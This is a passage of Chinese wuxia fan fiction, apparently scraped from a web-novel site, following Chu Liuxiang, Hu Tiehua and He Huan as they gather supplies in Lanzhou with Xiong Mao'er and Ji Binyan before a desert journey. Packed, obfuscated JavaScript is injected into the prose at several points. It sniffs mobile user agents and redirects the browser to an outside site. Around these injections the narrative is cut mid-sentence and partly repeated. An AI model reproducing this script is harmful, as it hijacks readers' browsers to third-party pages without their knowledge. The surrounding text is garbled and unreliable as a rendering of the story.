新鲜的白灼羊肉配以粗盐、卤过之后厚厚切片的牛腱子肉、土豆与蔬菜在一起炖煮,再加上当地特产的青稞酒。边城的食物与这里的气候一样充斥着简单而原始,不加修饰的本真。 自窗口向下望,来往行人大多穿着简朴,直截了当。 “先前何兄说那老板喜欢小胡,是从哪里看出来?” 何欢总算意识到哪里别扭,他无奈道:“我应当是比香帅要小,不必这样称呼,叫我何欢就好。” 言毕,他才回答道:“既然胡兄那样说,老板对他是什么心意又有什么要紧?你只当我看错说错罢。” 楚留香故作困惑状:“只当是我好奇也不行么?照我看来,老板应当是更喜欢你才对,她对待我们两个简直有大过天的怨气,而看你的时候,就温柔极了。” 何欢笑:“那么,她一个与人为善才好的生意人,为什么偏偏对你们两个人这样特别?” 楚留香苦笑:“特别冷眼也是特别么?” “至少我知道,她看我时心情也没什么波动,而人在望着自己爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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胡铁花朗声笑道,“在这待了七年,嘴里要淡出个鸟来,倘若你要去走一走钢丝,怎能不带兄弟一起?” “你去沙漠,插上翅膀才好飞。” 楚留香闻言,“听起来,你好像也知道姬冰雁的位置?” “不错,我不仅知道,而且我还要告诉你,你想去沙漠,可离不开他。等明儿一早,咱们就去找他汇合。” “咱们三个时隔多年,还能再聚,便是好事。” 此厢在回忆往昔,何欢却悄无声息来到那小妇人房门前。 边关小城物价极高,一水囊满满的清水,就足够换一缕忘却孽缘的香。 胡铁花正与楚留香秉烛夜谈,忽而问道一股极少出现在边城的味道。 “好香……”他喃喃。 楚留香却迷茫:“什么香?牛肉么?” 胡铁花眼头:“不是,是一种……花香?树木或者露水?唉,我也不会形容,总之就是不属于边城的一种香。” 楚留香摸了摸鼻子:“好罢,总归我是闻不到的。” 52.第 52 章 第二日一早,趁着气温适宜,三人准备出发。身为老板的小妇人听说他们要走,迎了上来。 她如今再不复冷冰冰模样,面色比之以往要缓和许多。只见她走到胡铁花跟前,仰起头对他道:“多谢你往日帮衬,我知道你是个好人。今日离开,就带上这些干粮,以全这段情分。” 说罢,给他往怀中塞了一方扎好的干馍,并一袋水。胡铁花说不出什么旁的话,只能笑笑收下,离开时还不忘与何欢抱怨。 “何大公子,你这下可看到,人家对我简直是一点意思都没有,好不容易盼我走,才有个好脸色。要是真听你的再去表一次情,才是真的面子里子都丢没了。” 何欢好脾气道:“唉,是我看岔,不懂女人心,胡兄勿怪。” 话到这里,楚留香不免看他一眼,只见他神态中怡然,看似叹气,实则没有丝毫波动,心中不免感到好笑:嘴上这么说,实际上看见花疯子吃瘪他才开心呢。唉,他对寻常萍水相逢的女子都这般关怀,对自己的亲妹妹,想必更是疼爱有加,决计不愿让她受一点委屈。也无怪何缨姑娘性格这般特别。 另一边,胡铁花哼哼两声,现下没说别的什么。不过私下里与楚留香聊天提到:“你这……是从哪里认识的世家公子?我跟他说话莫名其妙就小心翼翼起来。想来家风也是一脉相承吧?所以,他妹妹是不是也是这个调调?你跟他妹妹……是认真的?” 楚留香无奈:“瞎说什么,我与何缨姑娘是君子之交。” 胡铁花翻个白眼,学着他的语调:“啊好好好,君子之交,为一封信就跑来沙漠的君子之交——” 楚留香:“……我不全是因为那封信才会来这里的。” 胡铁花揶揄时绝对不曾料到,楚留香也有被人委婉拒绝的一天。更不曾想,名扬天下的盗帅楚留香竟会将心落在一个基本没有可能的人身上。倘若他知道的话—— 大概会笑的更加大声,并道‘楚留香你也有今天’吧。 …… 在久居边关,格外有经验的胡铁花的劝说下,三人确定在去关外之前,需得先去一趟关内较为繁华的城镇,进行物资配备。路程前半段尚还有修缮七七八八的官道,可供马匹行进,再往后走,马蹄会深陷流沙之中,只能弃马,换上大漠的代步动物,骆驼。 等到地方,三人合计时才发现,又需分开行动。胡铁花与楚留香要去找他们的好友姬冰雁,而何欢认为自己并不适合在场,不如做两手准备,去商行准备些物资。 胡铁花以为,他这谨慎作风是无用功,姬冰雁根本不可能不与他们一起。而何欢只道:“多一分准备也是好的。再说,也不能来一趟沙漠,全凭香帅的朋友资助,至少于这些事上,让我略尽绵薄之力。” 好嘛,这样一来,胡铁花再不好说什么。 “我跟这些讲话文绉绉的人真是合不来,看见就害怕。”胡铁花嘟嘟囔囔往他所知的姬冰雁府宅方向走去。 楚留香在后面慢悠悠道:“好金贵的毛病,是从什么时候染上的?被高亚男吓跑之后吗?” 胡铁花奇怪的看他一眼:“还说君子之交,老臭虫,你怎么连八字还没一撇的大舅子都护上了?” 楚留香摇摇头,“我只是看不惯你,既要强求不喜欢你的人,又要躲着喜欢你的人。人家真喜欢上你,你还避之不及。” 胡铁花不由自主提高声线:“难道我是第一天这样吗,怎么突然就看不惯了?”他想到什么似的,又低声喃喃,“你的道德甚至都被带高了?这更可怕。” 楚留香:“……” 至于何欢,他本无意再去叨扰曾经的长辈,然而经过保定一遭,他已经明白,这世上的事情千变万化,人的行踪也飘忽不定,多年久别,往后的日子见一面便少一面。更何况,再见面旧人是否还是往昔模样也说不准。 再加上,他的确小瞧了关外。如今,也只能靠前人荫庇,亡羊补牢。 兰州,毗邻关外的城镇中最富裕的所在。 有孩童随家长在街边叫喊买卖,手冻得通红,脸上仍带着笑。穿着狐裘的商人在街边漫不经心的遛弯,眼神也不给一个。何欢看向小摊上摆放的各样手串,随手拿起一串付钱。 身后,有带着戏谑而轻快的声音响起:“我要是你,就挑最左边那串。” “为什么?”何欢轻声问。 “因为,那串儿是这小猴子从我手里顺走的,你买下来不用花钱。” 脸蛋红彤彤的小男孩嚷嚷:“明明是你说的,从你那儿拿到什么都是我的本事。” “是啊,”何欢身后那男子理直气壮搭着他的一歪头,露出一张浓眉大眼、俊朗而带着一丝孩子气的面容,“的确是你的本事,那讲价耍赖不也是我的本事吗?” 他实际上已经三十余岁,一张娃娃脸却丝毫看不出来年纪,一如往昔。腰上挂着的酒葫芦一晃一晃,眯着眼睛的样子与他的名字如出一辙,恰似一只熊猫。 他便是昔日快活王座下四使之一,熊猫儿。如今和气使宋离一并接手经营快活王在关外关内的剩余产业。 何欢喊他:“猫叔,你的酒葫芦咯得我好疼。” “哎呦,我忘记了。”对方大大咧咧把葫芦往腰后捎了捎,继续懒洋洋的扒着何欢的肩膀,还锤了两下:“你这小子,这几年不见也没长个儿啊。” 何欢:“……” “熊猫叔叔,你为什么非要垫着脚搭人家的肩膀,你不累吗?”古灵精怪的小孩笑嘻嘻拆穿他。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493495|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 被拆穿后,熊猫儿佯怒:“你这小鬼,哪只眼睛看见我垫脚,去去去,一边玩去。” 那小孩子冲他伸出舌头做个鬼脸,就笑着跑远了。孩童的家长面上有些不好意思,“老板,不好意思……” 熊猫儿挥挥手,不甚在意的模样:“我同他们闹着玩而已,不用担心。最近家中还好吧?” “托您的福,一切都好。” 何欢微笑着聆听这些家长里短,从中汲取寒风中难得的温度。 等到这边聊完天气,熊猫儿才大力拍拍何欢的肩膀:“终于知道来找你叔叔玩儿了?” 何欢露出了有些心虚的神情。 …… “沙漠?”熊猫儿难以置信,“你没事去那种地方做什么?我跟宋离那小子每次都要靠五局三胜的猜拳才能定下来谁去沙漠里收钱。” 何欢忍不住问,“所以,今天在城里看到你,是因为你出老千吗?” 熊猫儿冲着他翻一个白眼,“怎么跟你叔叔说话呢,我那叫出老千吗?我那叫使用合理手段增加胜算。” 同他打诨插科一番,突听他话锋一转,道:“所以,你还在为神水宫做事?” 他那双明亮而圆润的眼中有一闪而过严肃的光,原本微微上翘的嘴唇也绷起来,显得并不赞同的样子。他追随快活王,亲眼见他从曾经的壮志踌躇到后来的凶残暴戾,深知手握权利高高在上之人最难保持本心,所谓的亲人与兄弟最后也不过是手中的一柄利刃。他认为,神水宫继续这样发展下去,会是另一座快活城。而他并不希望何欢走上曾经他们几人走过的道路。 而何欢亦知道他的担忧,坚定道:“既是为神水宫,也是为自己的初心。” “行吧,”熊猫儿嘟囔,“你但凡早来一天,和宋离一起出发,也不用费这档子事。” 他走在前面,嘴里还在絮叨:“要给你准备一个骆驼队,□□匹骆驼是要的吧?你的帽子、鞋子、衣服统统要换成这边的款式,我给你备三套备用;带好水囊、干粮、还有配好的药丸子……” 何欢走在他身后,哭笑不得。然而随着前面絮絮叨叨的声音传入耳中,不可否认的,他的脚步也变得轻快起来。 …… 这种轻快在看到乌泱泱蔓延了将近半条街的硕大驼队时,就飞快的消失不见了。 “猫叔……”何欢欲言又止,“我认为,我是去暗中查探敌人究竟的,还是删繁就简为好。” “石观音有什么了不起,”熊猫儿撇嘴,“你要对抗的不是这种最近几年才有一点名气的人,而是一直在掌控沙漠的老天爷。不带上这些,我怕你还没走到沙漠腹地,就已经黄沙埋半截了。” 作为毫无经验的内陆树,何欢只好听着。 53.第 53 章 就在何欢劝熊猫儿以大局为重,不要想着抛下手头这些好不容易从他手底下维持下来的产业,脑筋一热直接跟着何欢一起进沙漠时,另一边的局势却有些凝重。 胡铁花惨淡着脸从姬冰雁的府宅中走出,“我怎样也没想到,他看起来富甲一方,生意做的这般好,竟早早在沙漠中遭罪,失去了一双腿。” 楚留香沉默不语。 “不过,他竟说让我们留意那位何欢公子,又是为何……喂,老臭虫,关于那个人,你究竟知道多少?” 楚留香缓缓开口:“我认为,让远在兰州的姬冰雁都需要留心的,应当不是我知道的那些信息。” “也就是说,你真的知道,还不能告诉我?怎么,他的身份很神秘吗?” “倒也不是,不过,我答应过何缨姑娘,将此事保密。”楚留香不自在的摸了摸鼻子,“你若真的好奇,等再见到何欢,直接问他就是。如果能说,他自然不会隐瞒。” 正巧,两人出来姬冰雁的宅子不久,就看见何欢一行人的身影。他似乎在与人发生争端,胡铁花正要上去帮忙,却被楚留香拉住,且示意他去看这行人的构成。胡铁花虽有不解,却还是照做。 队伍为首是一匹在烈日下闪闪发光的大宛马。其皮毛呈浅金色,在烈日下映照出金子般的光辉。空中随风扬起一截洁白而泛着柔光的月影纱,此纱薄若蝉翼,触手生凉,再炽热的风刮过之后也会升起如月光一般的温润凉意,在中原便千金难求,更何况是在边关地区,如今却宛如咸菜一般半吊在马身侧。 再向后望,是占据了大半空地的高大骆驼,驼峰饱满皮毛整洁,每一匹骆驼身上都带着行囊,由本地穿着的蒙面随侍一一牵引缰绳。这些人或是太阳穴凸起的内功高手、或手掌宽厚而粗粝练得好一身硬功,内外功夫兼修者亦有之,如今却全成了牵骆驼的随侍。 何欢也已经换了一身装扮,正与另一人在低声推辞什么。那人背对着楚留香二人,看不起面容,只能看出身形高大,体格威武,一双大掌牢牢摁在何欢肩上。何欢脸上露出无奈神情,摇摇头之后,那人就生气般的锤了一下何欢的肩膀。 随即,他们径直望过来。 知道自己的存在暴露以后,楚留香才与胡铁花自阴影处现身。 …… 何欢正在拒绝熊猫儿强硬塞来的五十精英护卫队,拒绝无果,就听见熊猫儿严肃的声音:“有人埋伏在东边墙角。” 他话音落下,就欲将那偷听之人就地抓捕过来,被何欢制止,“等下,或许是熟人。” “熟人直接出来见面就好,做什么跟贼似的偷听墙角?” 何欢刚想辩驳这两人是如今江湖有名的大侠,却因为想起楚留香的“盗帅”身份,不由一哏。 然而,他们怎么也算何欢请来的朋友,也不能还没出行,就先让自己人打一通,因而口快道:“我听闻猫叔曾经,也蹲过七七姐的墙角,却也不耽误你现在是响当当的大人物啊。” 熊猫儿的脸一会儿红一会儿青,最后咬牙道:“孩子三天不打,就要上房揭瓦。” 然而他抬手握拳,最终也只是不带内力的轻砸何欢的肩膀,力道落在树身上,好比被雀鸟啄了一口。 “听你的,喊他们出来见面吧。” “香帅,还有胡兄,怎么蹲在那里那么久?”何欢笑问。 听清他话中的揶揄,胡铁花也放松些,笑道:“本来要出来找你的,谁知道你这阵仗如此豪华。原本就够俊俏了,如今真要把我这种穿着破烂的人比成癞蛤蟆,我恨不得退避三尺,哪还有心情出来找你。” 楚留香笑弯眼睛,仍要装作一本正经的样子道:“在下楚留香,一时被此处华光所摄,难以动弹,所以晚来一步,万望见谅。” 熊猫儿哈哈大笑,习惯性拍拍楚留香和胡铁花的肩膀:“好小子,楚留香……我在兰州也听过你的名字。” 他的力道可真大。甚至不曾运功,一双肉掌就已经拍的人隐隐作痛。虽说他看似气消,但这两掌之中也不乏怒气。可见,虽然何欢性情温和,他这叔叔却不是好相与的。 他口中所说,更是楚留香意想不到。 “这可、真叫小子惶恐。” “如果你以为你的声名已经大到可以不远万里传入兰州,那你就错了。”一个稍显冷淡又格外熟悉的声音响起。 楚、胡二人惊异望去,正是刚刚才见过的、据说已经无法走路的姬冰雁。他驱车而来,不见人影声先至,直至近前撩开帘子下马车,站在两人身边。这人如今却看不出一丝一毫残废的样子,一身华裳,利落而谦逊,向熊猫儿方向礼貌点头。 熊猫儿冲他摆摆手。 此时,几人心中均有疑窦,然而此刻并不是询问的时机,只得暂且忍耐。 到最后,姬冰雁的马车与熊猫儿的驼队合并,几十人浩浩汤汤上路。 熊猫儿:“我怎么还忘记给你备一驾马车……” 何欢连连摆手:“实在是不必。” 楚留香:“您不必挂心,进沙漠之前,何欢可以坐在我们的马车之中。” 何欢:“啊……嗯,没错。” 不得不瞒您说,我手中还有一架自洛阳而来,遍携药材的马车,的确不缺,不必破费。 在熊猫儿的注视之下,何欢有些僵硬的进入马车,正对姬冰雁稍显冷漠的面容。 胡铁花在一边笑:“我本以为你是那种就爱高高在上、文质彬彬那一套的人,现在一看,你这人怪好玩的。” 何欢苦笑:“我哪里高高在上,不过是不善言辞罢了。胡兄不要嘲弄我才好。” “看出来喽。”他反而放松下来,在姬冰雁的马车中东摸摸西摸摸,又同姬冰雁感叹马车奢靡。楚留香最后上车,见他们三人坐位先是一愣,随后笑着坐在何欢身侧。 “那位英雄功夫了得,想必昔日也是名扬一方的豪杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497749|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” 这几乎算得上明着试探,何欢了然,倒也不介意他的打听,侧头看他一眼,轻声反问:“你可知昔日快活王手底下有‘酒色财气’四使,负责为其搜罗各地的美酒、美人、财富和打手?” “略有耳闻。” 说起这个,连姬冰雁和胡铁花也感兴趣起来,坐起身认真聆听。 何欢一本正经、真假参半道:“众人皆知,昔日沈浪大侠与朱家、幽灵宫、云梦等势力不约而同挑战快活王,几经波折将其正法,快活城就此分崩离析,被众多势力吞并。然而他们却不知道,四使中有二使已成为沈浪大侠的朋友,为受其所托分别掌管快活城的残存势力,相互制衡,防止关外再生大的动乱。” 至此,不必说的过于彻底,几人已经明白熊猫儿的来历。快活王已成为昔日传说,而手握其剩余人脉和财富的使者,放在中原无疑是类似宝藏一样的存在。他将此事说出来,便是真的信任几人,将他们当做朋友。这样的直率,叫人怎能不动容。 就在此时,一向冷漠少语的姬冰雁接话道:“七年前,我来到此地,发展自己的商业。当时自恃武功高强,便一人进沙漠开展货源,却不料天有不测风云,我被沙暴困在沙漠之中七天七夜,仅有一袋睡,饿的我几乎想要尝一尝自己的肉是什么味道。就在那时……他骑着那匹马出现,救下了我。” “他一向仗义,路遇不平便要相助。”何欢道。 姬冰雁点头,“他并不要我回报,我却不能不报此恩。” “不是吧?你是为了报人家的恩才带我们去大沙漠的?”胡铁花难以置信道。 “不然,我闲得没事和你们一起去沙漠旅游吗?”姬冰雁冷笑。 他们看起来并不像在开玩笑,何欢有些担忧,却不料他话音刚落,那三人就一同笑出声来,马车中充斥着轻松的氛围。 原来又是玩笑。何欢心想,每当我以为自己已经见惯人生百态时,总能再次发现新奇的情谊。 楚留香和胡铁花还在一边啧啧点评。 “唉,多年不见,这人的嘴还是一如既往地锋利,不减当年。” “看他仍然如此刻薄,想必身心仍然健全,我总算能放下心来。” “不然呢,虽说有些人习惯未雨绸缪,可沙漠几乎不会下雨,做这些事有什么必要。” 何欢笑而不语。 “我算是看出来了,他是真的不会撒谎,可要是有不想说的呢,就怎么也套不出话来。”胡铁花抱胸,冲何欢眨眨眼,“这性格嘛,我很喜欢。” “多谢胡兄喜欢。” 路途仍然遥遥,好在马车内格外舒适,除了饮食饮水,竟还有一屉的酒。 “可要喝上几杯?”楚留香问何欢。 何欢欣然应下。酒水启封时,一股漠北风气的烈烈酒香便四溢于整架马车。 不知为何,这样浓烈的酒香,却让何欢想起了许久不曾回去的江南。